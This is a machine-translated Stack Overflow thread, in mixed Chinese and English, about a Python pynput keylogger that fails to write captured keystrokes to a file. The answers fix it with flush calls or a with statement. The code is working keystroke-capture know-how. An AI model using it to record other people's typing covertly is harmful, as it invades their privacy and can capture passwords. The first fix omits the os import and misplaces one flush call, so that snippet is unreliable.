pynput 键盘记录器不写入文件

Question

这个键盘记录程序有问题。它必须写入一个文件，但它并没有这样做。怎么了？

程序必须监听键盘并将其写入文件（之前，会检查文件是否存在）。但它不会写入文件，它只会创建文件。

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

Answer 1

首先，确保您注意到来自 pynput docs 的警告：

Starting a keyboard listener may be subject to some restrictions on your platform.

如果你和我一样Mac，那么你必须这样做：

The process must run as root.

Your application must be white listed under Enable access for assistive devices.

对于第二个项目，检查来自相关 SO post 的 these steps。

现在，对于实际的文件写入问题，一种解决方案是在完成文件后调用 f.flush() after calling f.writelines to ensure that data is actually written to the file. (see this related post for some explanation: what exactly the python's file.flush() is doing?). I am not familiar with pynput's underlying implementation, but the docs says it uses threads and that seems to affect File I/O. It's also good practice to call f.close()。

from pynput import keyboard

if os.path.exists("prova3.txt"):
    f = open("prova3.txt", "a")
else:
    f = open("prova3.txt", "x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))
        f.flush()

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])
    f.flush()

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

f.close()

另一种更好的做法是use a with statement when writing to the file。这使得 f 和 pynput listener 都在同一个上下文中。通过这种方式，不需要调用 flush（但如果你愿意，你仍然可以）。

from pynput import keyboard

with open("prova3.txt", "a") as f:
    def on_press(key):
        try:
            f.writelines("///key [ {0} ] pressed ///".format(
                key.char))
        except AttributeError:
            f.writelines("///special key {0} pressed///".format(
                key))

    def on_release(key):
        f.writelines(["///key [ {0} ] released ///".format(
            key)])

    with keyboard.Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()

pynput 键盘记录器不写入文件

pynput keylogger does not write to file

python

keylogger

python-3.x

pynput